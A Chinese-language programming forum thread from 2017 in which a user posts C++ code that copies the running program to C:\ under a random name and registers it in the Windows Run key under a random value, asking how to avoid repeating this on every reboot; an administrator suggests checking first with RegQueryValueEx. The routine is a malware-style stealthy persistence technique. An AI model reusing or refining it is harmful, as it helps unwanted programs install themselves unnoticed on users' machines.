VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 516|回复: 1

[求助] 【大神请进】遇到个小问题跪求解答!

[复制链接]
67_avatar_middle
在线会员 发表于 2017-3-19 19:17:49 | 显示全部楼层 |阅读模式
5驿站币
关于C++写注册表 名字是随意的 想写个判断 如果已经写入注册表 就不用重写
这样每次重启都会重新写注册表 还会重新复制一个新的exe 我想写个判断 如果已经写入注册表 就不用重写 求知道这个判断该怎么写


代码如下
int WINAPI StormRand(int count)
{
        unsigned long Time=GetTickCount();
        int seed=rand()+3;
        seed=(seed*Time)%count;
        return seed;
}

void WINAPI regedit()
{
        HKEY hKey;
        char FileName[MAX_PATH];
        char FilePath[MAX_PATH];
        char SystemPath[MAX_PATH];
        wsprintf(FileName,"%c%c%c%c%c%c",'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26));
        wsprintf(SystemPath,"C:\\%c%c%c%c%c%c.exe",'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26),'a'+StormRand(26));
        GetModuleFileName(NULL,FilePath,MAX_PATH);       
//        if (FilePath==SystemPath)
//        {
        CopyFile(FilePath,SystemPath,FALSE);
        RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&hKey);
        RegSetValueEx(hKey,(FileName),NULL,REG_SZ,(BYTE*)SystemPath,sizeof(SystemPath));
//        }
}





上一篇:post登录带验证码网站
下一篇:如何控制一个exe程序只能执行一次
51_avatar_middle
online_admins 发表于 2017-3-19 22:47:28 | 显示全部楼层
使用类似 RegQueryValueEx 之类的查询函数查下你的键值有没有,没有的话再写入,有的话就不写入
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号tongdun|网站地图wx_jqr

GMT+8, 2019-5-27 22:26

Powered by Discuz! X3.4

© 2009-2019 cctry.com

快速回复 返回顶部 返回列表